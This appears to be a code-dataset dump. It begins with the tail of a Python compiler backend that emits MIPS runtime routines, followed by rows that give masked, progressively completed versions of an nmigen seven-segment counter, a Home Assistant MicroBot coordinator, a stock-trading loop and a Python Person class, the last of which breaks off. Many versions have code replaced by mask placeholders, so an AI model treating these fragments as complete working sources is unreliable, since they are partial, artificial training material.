self.write_file(f'move $fp, $sp')
self.write_file('lw $a0 12($fp)') # Self
self.write_file('lw $v0 12($a0)')
self.write_file('jr $ra')
self.write_file('')
def string_concat(self):
self.write_file('function_String_concat:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS)) # Create new Int object
self.write_file('move $v1 $v0') # Save new Int Object
self.visit(cil.Allocate(dest = None, ttype = STRING_CLASS)) # Create new String object
self.write_file('move $t3 $v0') # Store new String object
self.write_file('lw $a1 12($fp)') # Self
self.write_file('lw $a2 16($fp)') # Boxed String to concat
self.write_file('lw $t1 12($a1)') # Self's length Int object
self.write_file('lw $t1 12($t1)') # Self's length
self.write_file('lw $t2 12($a2)') # strings to concat's length Int object
self.write_file('lw $t2 12($t2)') # strings to concat's length
self.write_file('addu $t0 $t2 $t1') # New string's length
self.write_file('sw $t0 12($v1)') # Store new string's length into box
self.write_file('lw $a1 16($a1)') # Unbox strings
self.write_file('lw $a2 16($a2)')
self.write_file('addiu $t0 $t0 1') # Add space for \0
self.allocate_memory('$t0', register=True) # Allocate memory for new string
self.write_file('move $t5 $v0') # Keep the string's reference in v0 and use t7
# a1: self's string a2: 2nd string t1: length self t2: 2nd string length
# v1: new string's int object
self.write_file('move $t4 $a1') # Index for iterating the self string
self.write_file('addu $a1 $a1 $t1') # self's copy limit
self.write_file('_strcat_copy_:', tabbed=False)
self.write_file('beq $t4 $a1 _end_strcat_copy_') # No more characters to copy
self.write_file('lb $a0 0($t4)') # Copy the character
self.write_file('sb $a0 0($t5)')
self.write_file('addiu $t5 $t5 1') # Advance indices
self.write_file('addiu $t4 $t4 1')
self.write_file('j _strcat_copy_')
self.write_file('_end_strcat_copy_:', tabbed=False)
# Copy 2nd string
self.write_file('move $t4 $a2') # Index for iterating the strings
self.write_file('addu $a2 $a2 $t2') # self's copy limit
self.write_file('_strcat_copy_snd_:', tabbed=False)
self.write_file('beq $t4 $a2 _end_strcat_copy_snd_') # No more characters to copy
self.write_file('lb $a0 0($t4)') # Copy the character
self.write_file('sb $a0 0($t5)')
self.write_file('addiu $t5 $t5 1') # Advance indices
self.write_file('addiu $t4 $t4 1')
self.write_file('j _strcat_copy_snd_')
self.write_file('_end_strcat_copy_snd_:', tabbed=False)
self.write_file('sb $0 0($t5)') # End string with \0
# $v0: reference to new string $v1: length int object
# $t3: new string object
# -> Create boxed string
self.write_file('sw $v1 12($t3)') # New length
self.write_file('sw $v0 16($t3)') # New string
self.write_file('move $v0 $t3') # Return new String object in $v0
self.write_file('jr $ra')
self.write_file('')
def string_substr(self):
self.write_file('function_String_substr:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.write_file(f'lw $t5 12($fp)') # self param
self.write_file(f'lw $a1 16($fp)') # reference of object int that represent i
self.write_file(f'lw $a1 12($a1)') # value of i
self.write_file(f'lw $a2 20($fp)') # reference of object int that represent j
self.write_file(f'lw $a2 12($a2)') # value of j that is length to copy
self.write_file(f'blt $a1 $0 _index_negative') # index i is negative
self.write_file(f'blt $a2 $0 _index_negative') # length j is negative
self.write_file(f'add $a2 $a1 $a2') # finish index
self.write_file(f'lw $a3 12($t5)')
self.write_file(f'lw $a3 12($a3)') # length of string
self.write_file(f'bgt $a2 $a3 _index_out') # j > lenght
# not errors
self.visit(cil.Allocate(dest = None, ttype = STRING_CLASS))
self.write_file(f'move $v1 $v0') # new string
self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS))
self.write_file(f'move $t0 $v0') # lenght of string
self.write_file(f'move $t7 $a2')
self.write_file(f'subu $t7 $t7 $a1')
self.write_file(f'sw $t7 12($t0)') # save number that represent lenght of new string
self.allocate_memory('$a2', register=True) # $v0 -> address of the string
self.write_file(f'sw $t0 12($v1)') # store length
self.write_file(f'sw $v0 16($v1)') # store address of new string to String object
# generate substring
self.write_file('move $t1 $v0') # Index for iterating the new string
self.write_file('lw $t5 16($t5)') # Index for iterating the self string
self.write_file('move $t4 $t5')
self.write_file('addu $t4 $t4 $a1') # self's copy start
self.write_file('addu $t5 $t5 $a2') # self's copy limit
self.write_file('_substr_copy_:', tabbed=False)
self.write_file('bge $t4 $t5 _end_substr_copy_') # No more characters to copy
self.write_file('lb $a0 0($t4)') # Copy the character
self.write_file('sb $a0 0($t1)')
self.write_file('addiu $t1 $t1 1') # Advance indices
self.write_file('addiu $t4 $t4 1')
self.write_file('j _substr_copy_')
# errors sections
self.write_file(f'_index_negative:',tabbed=False)
self.write_file(f'la $a0 _index_negative_msg')
self.write_file(f'b _subst_abort')
self.write_file(f'_index_out:',tabbed=False)
self.write_file(f'la $a0 _index_out_msg')
self.write_file(f'b _subst_abort')
# abort execution
self.write_file(f'_subst_abort:',tabbed=False)
self.write_file(f'li $v0 4')
self.write_file(f'syscall')
self.write_file('la $a0 _abort_msg')
self.write_file(f'li $v0 4')
self.write_file(f'syscall')
self.write_file(f'li $v0 10')
self.write_file(f'syscall') # exit
# successful execution
self.write_file('_end_substr_copy_:', tabbed=False)
self.write_file('move $v0 $v1')
self.write_file('jr $ra')
self.write_file('')
#----- IO
def io_in_int(self):
self.write_file('function_IO_in_int:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS)) # Create new Int object
self.write_file('move $t0 $v0') # Save Int object
self.write_file('li $v0 5') # Read int
self.write_file('syscall')
self.write_file('sw $v0 12($t0)') # Store int
self.write_file('move $v0 $t0')
self.write_file('jr $ra')
self.write_file('')
def io_in_string(self):
self.write_file('function_IO_in_string:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS)) # Create new Int object for string's length
self.write_file('move $v1 $v0') # $v1: Int pbject
self.visit(cil.Allocate(dest = None, ttype = STRING_CLASS)) # Create new String object
self.write_file('sw $v1 12($v0)')
self.write_file('move $t5 $v0') # $t5: String object
# Read String and store in a temp buffer
self.write_file('la $a0 str_buffer')
self.write_file('li $a1 1025')
self.write_file('li $v0 8') # Read string
self.write_file('syscall')
# Compute string's length
self.write_file('move $a0 $0')
self.write_file('la $t2 str_buffer')
self.write_file('_in_string_str_len_:', tabbed=False)
self.write_file('lb $t0 0($t2)')
self.write_file('beq $t0 $0 _end_in_string_str_len_')
self.write_file('beq $t0 10 _end_in_string_str_len_')
self.write_file('addiu $a0 $a0 1')
self.write_file('addiu $t2 $t2 1')
self.write_file('j _in_string_str_len_')
self.write_file('_end_in_string_str_len_:', tabbed=False)
# Store string's length into Integer class
self.write_file('sw $a0 12($v1)')
# Allocate size in $a0 ... string's length
self.allocate_memory()
# $a0: string's length $v0: string's new address $t5: String object
# Copy string from buffer to new address
self.write_file('la $t4 str_buffer') # Index for iterating the string buffer
self.write_file('move $t1 $v0') # Index for iterating new string address
self.write_file('_in_str_copy_:', tabbed=False)
self.write_file('lb $t0 0($t4)') # Load a character
self.write_file('beq $t0 $0 _end_in_str_copy_') # No more characters to copy
self.write_file('beq $t0 10 _end_in_str_copy_') # No more characters to copy
self.write_file('sb $t0 0($t1)') # Copy the character
self.write_file('addiu $t4 $t4 1') # Advance indices
self.write_file('addiu $t1 $t1 1')
self.write_file('j _in_str_copy_')
self.write_file('_end_in_str_copy_:', tabbed=False)
# Store string
self.write_file('sw $v0 16($t5)')
# Clean string buffer
self.write_file('la $t4 str_buffer') # Index for iterating the string buffer
self.write_file('_in_str_clean_:', tabbed=False)
self.write_file('lb $t0 0($t4)') # Load a character
self.write_file('beq $t0 $0 _end_in_str_clean_') # No more characters to clean
self.write_file('sb $0 0($t4)') # Clean the character
self.write_file('addiu $t4 $t4 1') # Advance indices
self.write_file('j _in_str_clean_')
self.write_file('_end_in_str_clean_:', tabbed=False)
# Return new string in $v0
self.write_file('move $v0 $t5')
self.write_file('jr $ra')
self.write_file('')
def io_out_int(self):
self.write_file('function_IO_out_int:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.write_file('lw $a0 16($fp)') # Get Int object
self.write_file('lw $a0 12($a0)')
self.write_file('li $v0 1') # Print int
self.write_file('syscall')
self.write_file('lw $v0 12($fp)') # Return self
self.write_file('jr $ra')
self.write_file('')
def io_out_string(self):
self.write_file('function_IO_out_string:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.write_file('lw $a0 16($fp)') # Get String object
self.write_file('lw $a0 16($a0)')
self.write_file('li $v0 4') # Print string
self.write_file('syscall')
self.write_file('lw $v0 12($fp)') # Return self
self.write_file('jr $ra')
self.write_file('')
#------ CONFORMS
def conforms(self):
self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.write_file(f'lw $t0 12($fp)') # First arg's class tag
self.write_file(f'lw $t1 16($fp)') # Second arg's class tag
# 2nd arg == Object -> return true
self.write_file(f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_')
self.write_file('_conforms_loop_:', tabbed=False)
# current == 2nd arg -> return true
self.write_file('beq $t0 $t1 _conforms_ret_true_')
# current == Object -> return false
self.write_file(f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_')
# Query parents's class tag from $s2 ... class parent table
self.write_file('mulu $t0 $t0 4')
self.write_file('addu $t0 $t0 $s2')
self.write_file('lw $t0 0($t0)') # current = current.parent
self.write_file('j _conforms_loop_')
self.write_file('_conforms_ret_true_:', tabbed=False)
self.write_file('li $v0 1')
self.write_file('j _conforms_ret_')
self.write_file('_conforms_ret_false_:', tabbed=False)
self.write_file('li $v0 0')
# No need to store result in a Bool class
self.write_file('_conforms_ret_:')
self.write_file('jr $ra')
self.write_file('')
#------ ISVOID
def isvoid(self):
self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest = None, ttype = BOOLEAN_CLASS))
# $v0 contains new Bool object
self.write_file(f'lw $t0 12($fp)') # 1st arg is an object address
self.write_file(f'la $t1 {VOID_MIPS_NAME}')
self.write_file(f'beq $t0 $t1 _is_void_true_') # arg == void type
self.write_file(f'sw $0 12($v0)') # return False
self.write_file(f'j _is_void_end_')
self.write_file(f'_is_void_true_:', tabbed=False)
self.write_file(f'li $t0 1')
self.write_file(f'sw $t0 12($v0)') # return True
self.write_file(f'_is_void_end_:', tabbed=False)
# Return Bool object in $v0
self.write_file(f'jr $ra')
self.write_file(f'') | [
25,
30,
38,
41,
50
] |
9,953 | 911257bad3baab89e29db3facb08ec41269b41e3 | <mask token>
| <mask token>
print(2 * 3)
<mask token>
if a >= b:
print('You can drive the car, you are ', a)
else:
print('Sorry, you are too small')
| <mask token>
print(2 * 3)
<mask token>
a = int(input('Enter your age: '))
b = 18
if a >= b:
print('You can drive the car, you are ', a)
else:
print('Sorry, you are too small')
| # mathematical operators
'''
* multiply
/ divide (normal)
// divide (integer)
% modulus (remainder)
+ add
- subtract
** exponent (raise to)
'''
print(2 * 3)
# comparison operators
'''
== equal to
!= not equal to
> greater than
< less than
>= greater or equal to
<= less or equal to
'''
a = int(input("Enter your age: "))
b = 18
if a >= b:
print("You can drive the car, you are ", a)
else:
print("Sorry, you are too small") | null | [
0,
1,
2,
3
] |
9,954 | 74bb511a9ec272020693db65a2e708f3db56931e | <mask token>
class SSDigitDecoder(Elaboratable):
<mask token>
def incr(self):
return self.i_num.eq(self.i_num + 1)
<mask token>
class Blinky(Elaboratable):
def __init__(self):
self.dd0 = SSDigitDecoder()
self.dd1 = SSDigitDecoder()
def elaborate(self, platform):
m = Module()
m.submodules.dd0 = self.dd0
m.submodules.dd1 = self.dd1
timer = Signal(20)
led = platform.request('led', 0)
btn = platform.request('button', 0)
btn1 = platform.request('button', 1)
dig_sel = platform.request('ss_dig_sel', 0)
disp = platform.request('ss_disp', 0)
m.d.sync += timer.eq(timer + 1)
m.d.comb += led.o.eq(timer[-1] & ~btn)
running = Signal(1)
"""
# naive btn
last_btn1 = Signal(1)
m.d.sync += last_btn1.eq(btn1.i)
with m.If(btn1.i & ~last_btn1):
m.d.sync += running.eq(~running)
"""
btn1_pipe1 = Signal(1)
btn1_pipe2 = Signal(1)
btn1_db = Signal(range(0, 65535))
m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]
with m.If(btn1_pipe2):
m.d.sync += btn1_db.eq(65535)
with m.Else():
with m.If(btn1_db > 0):
m.d.sync += btn1_db.eq(btn1_db - 1)
with m.If(btn1_pipe2 & (btn1_db == 0)):
m.d.sync += running.eq(~running)
with m.If(running & (timer == 0)):
with m.If(self.dd0.i_num == 9):
m.d.sync += self.dd0.i_num.eq(0)
with m.If(self.dd1.i_num == 9):
m.d.sync += self.dd1.i_num.eq(0)
with m.Else():
m.d.sync += self.dd1.incr()
with m.Else():
m.d.sync += self.dd0.incr()
with m.If(timer[8]):
m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]
with m.Else():
m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]
return m
<mask token>
| <mask token>
class SSDigitDecoder(Elaboratable):
def __init__(self):
self.i_num = Signal(4)
self.o_disp = Signal(7)
self.lut = {(0): 63, (1): 6, (2): 91, (3): 79, (4): 102, (5): 109,
(6): 125, (7): 7, (8): 127, (9): 103}
def incr(self):
return self.i_num.eq(self.i_num + 1)
def elaborate(self, platform):
m = Module()
with m.Switch(self.i_num):
for a, b in self.lut.items():
with m.Case(a):
m.d.comb += self.o_disp.eq(b)
return m
class Blinky(Elaboratable):
def __init__(self):
self.dd0 = SSDigitDecoder()
self.dd1 = SSDigitDecoder()
def elaborate(self, platform):
m = Module()
m.submodules.dd0 = self.dd0
m.submodules.dd1 = self.dd1
timer = Signal(20)
led = platform.request('led', 0)
btn = platform.request('button', 0)
btn1 = platform.request('button', 1)
dig_sel = platform.request('ss_dig_sel', 0)
disp = platform.request('ss_disp', 0)
m.d.sync += timer.eq(timer + 1)
m.d.comb += led.o.eq(timer[-1] & ~btn)
running = Signal(1)
"""
# naive btn
last_btn1 = Signal(1)
m.d.sync += last_btn1.eq(btn1.i)
with m.If(btn1.i & ~last_btn1):
m.d.sync += running.eq(~running)
"""
btn1_pipe1 = Signal(1)
btn1_pipe2 = Signal(1)
btn1_db = Signal(range(0, 65535))
m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]
with m.If(btn1_pipe2):
m.d.sync += btn1_db.eq(65535)
with m.Else():
with m.If(btn1_db > 0):
m.d.sync += btn1_db.eq(btn1_db - 1)
with m.If(btn1_pipe2 & (btn1_db == 0)):
m.d.sync += running.eq(~running)
with m.If(running & (timer == 0)):
with m.If(self.dd0.i_num == 9):
m.d.sync += self.dd0.i_num.eq(0)
with m.If(self.dd1.i_num == 9):
m.d.sync += self.dd1.i_num.eq(0)
with m.Else():
m.d.sync += self.dd1.incr()
with m.Else():
m.d.sync += self.dd0.incr()
with m.If(timer[8]):
m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]
with m.Else():
m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]
return m
<mask token>
| <mask token>
class SSDigitDecoder(Elaboratable):
def __init__(self):
self.i_num = Signal(4)
self.o_disp = Signal(7)
self.lut = {(0): 63, (1): 6, (2): 91, (3): 79, (4): 102, (5): 109,
(6): 125, (7): 7, (8): 127, (9): 103}
def incr(self):
return self.i_num.eq(self.i_num + 1)
def elaborate(self, platform):
m = Module()
with m.Switch(self.i_num):
for a, b in self.lut.items():
with m.Case(a):
m.d.comb += self.o_disp.eq(b)
return m
class Blinky(Elaboratable):
def __init__(self):
self.dd0 = SSDigitDecoder()
self.dd1 = SSDigitDecoder()
def elaborate(self, platform):
m = Module()
m.submodules.dd0 = self.dd0
m.submodules.dd1 = self.dd1
timer = Signal(20)
led = platform.request('led', 0)
btn = platform.request('button', 0)
btn1 = platform.request('button', 1)
dig_sel = platform.request('ss_dig_sel', 0)
disp = platform.request('ss_disp', 0)
m.d.sync += timer.eq(timer + 1)
m.d.comb += led.o.eq(timer[-1] & ~btn)
running = Signal(1)
"""
# naive btn
last_btn1 = Signal(1)
m.d.sync += last_btn1.eq(btn1.i)
with m.If(btn1.i & ~last_btn1):
m.d.sync += running.eq(~running)
"""
btn1_pipe1 = Signal(1)
btn1_pipe2 = Signal(1)
btn1_db = Signal(range(0, 65535))
m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]
with m.If(btn1_pipe2):
m.d.sync += btn1_db.eq(65535)
with m.Else():
with m.If(btn1_db > 0):
m.d.sync += btn1_db.eq(btn1_db - 1)
with m.If(btn1_pipe2 & (btn1_db == 0)):
m.d.sync += running.eq(~running)
with m.If(running & (timer == 0)):
with m.If(self.dd0.i_num == 9):
m.d.sync += self.dd0.i_num.eq(0)
with m.If(self.dd1.i_num == 9):
m.d.sync += self.dd1.i_num.eq(0)
with m.Else():
m.d.sync += self.dd1.incr()
with m.Else():
m.d.sync += self.dd0.incr()
with m.If(timer[8]):
m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]
with m.Else():
m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]
return m
if __name__ == '__main__':
p = ICEBreakerPlatform()
p.add_resources(p.break_off_pmod)
p.add_resources([Resource('ss_dig_sel', 0, Pins('10', dir='o', conn=(
'pmod', 0)), Attrs(IO_STANDARD='SB_LVCMOS')), Resource('ss_disp', 0,
PinsN('1 2 3 4 7 8 9', dir='o', conn=('pmod', 0)), Attrs(
IO_STANDARD='SB_LVCMOS'))])
for r in p.resources:
print('r:', r)
p.build(Blinky(), do_program=False)
| from nmigen import *
from nmigen.build import *
from nmigen_boards.icebreaker import ICEBreakerPlatform
class SSDigitDecoder(Elaboratable):
def __init__(self):
self.i_num = Signal(4)
self.o_disp = Signal(7)
self.lut = {(0): 63, (1): 6, (2): 91, (3): 79, (4): 102, (5): 109,
(6): 125, (7): 7, (8): 127, (9): 103}
def incr(self):
return self.i_num.eq(self.i_num + 1)
def elaborate(self, platform):
m = Module()
with m.Switch(self.i_num):
for a, b in self.lut.items():
with m.Case(a):
m.d.comb += self.o_disp.eq(b)
return m
class Blinky(Elaboratable):
def __init__(self):
self.dd0 = SSDigitDecoder()
self.dd1 = SSDigitDecoder()
def elaborate(self, platform):
m = Module()
m.submodules.dd0 = self.dd0
m.submodules.dd1 = self.dd1
timer = Signal(20)
led = platform.request('led', 0)
btn = platform.request('button', 0)
btn1 = platform.request('button', 1)
dig_sel = platform.request('ss_dig_sel', 0)
disp = platform.request('ss_disp', 0)
m.d.sync += timer.eq(timer + 1)
m.d.comb += led.o.eq(timer[-1] & ~btn)
running = Signal(1)
"""
# naive btn
last_btn1 = Signal(1)
m.d.sync += last_btn1.eq(btn1.i)
with m.If(btn1.i & ~last_btn1):
m.d.sync += running.eq(~running)
"""
btn1_pipe1 = Signal(1)
btn1_pipe2 = Signal(1)
btn1_db = Signal(range(0, 65535))
m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]
with m.If(btn1_pipe2):
m.d.sync += btn1_db.eq(65535)
with m.Else():
with m.If(btn1_db > 0):
m.d.sync += btn1_db.eq(btn1_db - 1)
with m.If(btn1_pipe2 & (btn1_db == 0)):
m.d.sync += running.eq(~running)
with m.If(running & (timer == 0)):
with m.If(self.dd0.i_num == 9):
m.d.sync += self.dd0.i_num.eq(0)
with m.If(self.dd1.i_num == 9):
m.d.sync += self.dd1.i_num.eq(0)
with m.Else():
m.d.sync += self.dd1.incr()
with m.Else():
m.d.sync += self.dd0.incr()
with m.If(timer[8]):
m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]
with m.Else():
m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]
return m
if __name__ == '__main__':
p = ICEBreakerPlatform()
p.add_resources(p.break_off_pmod)
p.add_resources([Resource('ss_dig_sel', 0, Pins('10', dir='o', conn=(
'pmod', 0)), Attrs(IO_STANDARD='SB_LVCMOS')), Resource('ss_disp', 0,
PinsN('1 2 3 4 7 8 9', dir='o', conn=('pmod', 0)), Attrs(
IO_STANDARD='SB_LVCMOS'))])
for r in p.resources:
print('r:', r)
p.build(Blinky(), do_program=False)
| #!/usr/bin/env python3
from nmigen import *
from nmigen.build import *
from nmigen_boards.icebreaker import ICEBreakerPlatform
class SSDigitDecoder(Elaboratable):
def __init__(self):
self.i_num = Signal(4)
self.o_disp = Signal(7)
self.lut = {
0: 0b011_1111,
1: 0b000_0110,
2: 0b101_1011,
3: 0b100_1111,
4: 0b110_0110,
5: 0b110_1101,
6: 0b111_1101,
7: 0b000_0111,
8: 0b111_1111,
9: 0b110_0111,
}
def incr(self):
return self.i_num.eq(self.i_num+1)
def elaborate(self, platform):
m = Module()
with m.Switch(self.i_num):
for a, b in self.lut.items():
with m.Case(a):
m.d.comb += self.o_disp.eq(b)
return m
class Blinky(Elaboratable):
def __init__(self):
self.dd0 = SSDigitDecoder()
self.dd1 = SSDigitDecoder()
def elaborate(self, platform):
m = Module()
m.submodules.dd0 = self.dd0
m.submodules.dd1 = self.dd1
timer = Signal(20)
led = platform.request('led', 0)
btn = platform.request('button', 0)
btn1 = platform.request('button', 1)
dig_sel = platform.request('ss_dig_sel', 0)
disp = platform.request('ss_disp', 0)
# blinky led
m.d.sync += timer.eq(timer+1)
m.d.comb += led.o.eq(timer[-1] & ~btn)
# 7 seg
running = Signal(1)
"""
# naive btn
last_btn1 = Signal(1)
m.d.sync += last_btn1.eq(btn1.i)
with m.If(btn1.i & ~last_btn1):
m.d.sync += running.eq(~running)
"""
btn1_pipe1 = Signal(1)
btn1_pipe2 = Signal(1)
btn1_db = Signal(range(0, 0xffff))
m.d.sync += [
btn1_pipe1.eq(btn1.i),
btn1_pipe2.eq(btn1_pipe1),
]
with m.If(btn1_pipe2):
m.d.sync += btn1_db.eq(0xffff)
with m.Else():
with m.If(btn1_db > 0):
m.d.sync += btn1_db.eq(btn1_db-1)
with m.If(btn1_pipe2 & (btn1_db == 0)):
m.d.sync += running.eq(~running)
with m.If(running & (timer == 0)):
with m.If(self.dd0.i_num == 9):
m.d.sync += self.dd0.i_num.eq(0)
with m.If(self.dd1.i_num == 9):
m.d.sync += self.dd1.i_num.eq(0)
with m.Else():
m.d.sync += self.dd1.incr()
with m.Else():
m.d.sync += self.dd0.incr()
with m.If(timer[8]):
m.d.comb += [
dig_sel.o.eq(0),
disp.o.eq(self.dd1.o_disp),
]
with m.Else():
m.d.comb += [
dig_sel.o.eq(1),
disp.o.eq(self.dd0.o_disp),
]
return m
if __name__ == '__main__':
p = ICEBreakerPlatform()
p.add_resources(p.break_off_pmod)
p.add_resources([
Resource('ss_dig_sel', 0,
Pins('10', dir='o', conn=('pmod', 0)),
Attrs(IO_STANDARD='SB_LVCMOS')),
Resource('ss_disp', 0,
PinsN('1 2 3 4 7 8 9', dir='o', conn=('pmod', 0)),
Attrs(IO_STANDARD='SB_LVCMOS')),
])
for r in p.resources:
print('r:', r)
p.build(Blinky(), do_program=False)
| [
5,
7,
8,
9,
10
] |
9,955 | 5509880c30c2e03ca6eb42ad32018c39fb5939ed | <mask token>
class MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):
<mask token>
<mask token>
<mask token>
| <mask token>
class MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):
<mask token>
def __init__(self, hass: HomeAssistant, client: MicroBotApiClient,
ble_device: BLEDevice) ->None:
"""Initialize."""
self.api: MicroBotApiClient = client
self.data: dict[str, Any] = {}
self.ble_device = ble_device
super().__init__(hass, _LOGGER, ble_device.address, bluetooth.
BluetoothScanningMode.ACTIVE)
@callback
def _async_handle_bluetooth_event(self, service_info: bluetooth.
BluetoothServiceInfoBleak, change: bluetooth.BluetoothChange) ->None:
"""Handle a Bluetooth event."""
if (adv := parse_advertisement_data(service_info.device,
service_info.advertisement)):
self.data = adv.data
_LOGGER.debug('%s: MicroBot data: %s', self.ble_device.address,
self.data)
self.api.update_from_advertisement(adv)
super()._async_handle_bluetooth_event(service_info, change)
| <mask token>
class MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):
"""Class to manage fetching data from the MicroBot."""
def __init__(self, hass: HomeAssistant, client: MicroBotApiClient,
ble_device: BLEDevice) ->None:
"""Initialize."""
self.api: MicroBotApiClient = client
self.data: dict[str, Any] = {}
self.ble_device = ble_device
super().__init__(hass, _LOGGER, ble_device.address, bluetooth.
BluetoothScanningMode.ACTIVE)
@callback
def _async_handle_bluetooth_event(self, service_info: bluetooth.
BluetoothServiceInfoBleak, change: bluetooth.BluetoothChange) ->None:
"""Handle a Bluetooth event."""
if (adv := parse_advertisement_data(service_info.device,
service_info.advertisement)):
self.data = adv.data
_LOGGER.debug('%s: MicroBot data: %s', self.ble_device.address,
self.data)
self.api.update_from_advertisement(adv)
super()._async_handle_bluetooth_event(service_info, change)
| <mask token>
if TYPE_CHECKING:
from bleak.backends.device import BLEDevice
_LOGGER: logging.Logger = logging.getLogger(__package__)
PLATFORMS: list[str] = [Platform.SWITCH]
class MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):
"""Class to manage fetching data from the MicroBot."""
def __init__(self, hass: HomeAssistant, client: MicroBotApiClient,
ble_device: BLEDevice) ->None:
"""Initialize."""
self.api: MicroBotApiClient = client
self.data: dict[str, Any] = {}
self.ble_device = ble_device
super().__init__(hass, _LOGGER, ble_device.address, bluetooth.
BluetoothScanningMode.ACTIVE)
@callback
def _async_handle_bluetooth_event(self, service_info: bluetooth.
BluetoothServiceInfoBleak, change: bluetooth.BluetoothChange) ->None:
"""Handle a Bluetooth event."""
if (adv := parse_advertisement_data(service_info.device,
service_info.advertisement)):
self.data = adv.data
_LOGGER.debug('%s: MicroBot data: %s', self.ble_device.address,
self.data)
self.api.update_from_advertisement(adv)
super()._async_handle_bluetooth_event(service_info, change)
| """Integration to integrate Keymitt BLE devices with Home Assistant."""
from __future__ import annotations
import logging
from typing import TYPE_CHECKING, Any
from microbot import MicroBotApiClient, parse_advertisement_data
from homeassistant.components import bluetooth
from homeassistant.components.bluetooth.passive_update_coordinator import (
PassiveBluetoothDataUpdateCoordinator,
)
from homeassistant.const import Platform
from homeassistant.core import HomeAssistant, callback
if TYPE_CHECKING:
from bleak.backends.device import BLEDevice
_LOGGER: logging.Logger = logging.getLogger(__package__)
PLATFORMS: list[str] = [Platform.SWITCH]
class MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):
"""Class to manage fetching data from the MicroBot."""
def __init__(
self,
hass: HomeAssistant,
client: MicroBotApiClient,
ble_device: BLEDevice,
) -> None:
"""Initialize."""
self.api: MicroBotApiClient = client
self.data: dict[str, Any] = {}
self.ble_device = ble_device
super().__init__(
hass,
_LOGGER,
ble_device.address,
bluetooth.BluetoothScanningMode.ACTIVE,
)
@callback
def _async_handle_bluetooth_event(
self,
service_info: bluetooth.BluetoothServiceInfoBleak,
change: bluetooth.BluetoothChange,
) -> None:
"""Handle a Bluetooth event."""
if adv := parse_advertisement_data(
service_info.device, service_info.advertisement
):
self.data = adv.data
_LOGGER.debug("%s: MicroBot data: %s", self.ble_device.address, self.data)
self.api.update_from_advertisement(adv)
super()._async_handle_bluetooth_event(service_info, change)
| [
1,
3,
4,
5,
7
] |
9,956 | da903409d75ba2a07443317e30bce568444fbca5 | <mask token>
| <mask token>
for s1, s2 in zip(A[:-1], A[1:]):
if s1 < s2:
stockNum = g // s1
g += stockNum * (s2 - s1)
print(g)
| n = int(input())
A = list(map(int, input().split()))
g = 1000
for s1, s2 in zip(A[:-1], A[1:]):
if s1 < s2:
stockNum = g // s1
g += stockNum * (s2 - s1)
print(g)
| n=int(input())
A=list(map(int,input().split()))
g=1000
for s1,s2 in zip(A[:-1],A[1:]):
if s1<s2:
stockNum=g//s1
g+=stockNum*(s2-s1)
print(g)
| null | [
0,
1,
2,
3
] |
9,957 | 11feb13f38f2484c867a8b3fa525ffecf419dfe5 | <mask token>
class Person:
<mask token>
<mask token>
def __init__(self, name, age, gender):
self.name = name
self.age = age
self.gender = gender
self.salary = 0
def greet(self):
print('Hello ', self.name)
def greetByTime(self, time='Morning'):
print('Hello', self.name, ' . ', time)
<mask token>
| <mask token>
class Person:
alive = True
<mask token>
def __init__(self, name, age, gender):
self.name = name
self.age = age
self.gender = gender
self.salary = 0
def greet(self):
print('Hello ', self.name)
def greetByTime(self, time='Morning'):
print('Hello', self.name, ' . ', time)
<mask token>
| <mask token>
class Person:
alive = True
"""
Possible Attributes for a Person:
1. Name
2. Age
3. Gender
"""
def __init__(self, name, age, gender):
self.name = name
self.age = age
self.gender = gender
self.salary = 0
def greet(self):
print('Hello ', self.name)
def greetByTime(self, time='Morning'):
print('Hello', self.name, ' . ', time)
<mask token>
| <mask token>
class Person:
alive = True
"""
Possible Attributes for a Person:
1. Name
2. Age
3. Gender
"""
def __init__(self, name, age, gender):
self.name = name
self.age = age
self.gender = gender
self.salary = 0
def greet(self):
print('Hello ', self.name)
def greetByTime(self, time='Morning'):
print('Hello', self.name, ' . ', time)
print('Accessing Static Variable', Person.alive)
<mask token>
print("""
Accessing Functions
""")
p.greet()
p.greetByTime()
p.greetByTime('Goodnight')
print("""
Accessing Variables
""")
print(p.name, p.age, p.gender)
| '''
Classes
'''
class Person:
alive = True
'''
Possible Attributes for a Person:
1. Name
2. Age
3. Gender
'''
def __init__(self, name, age, gender):
self.name = name
self.age = age
self.gender = gender
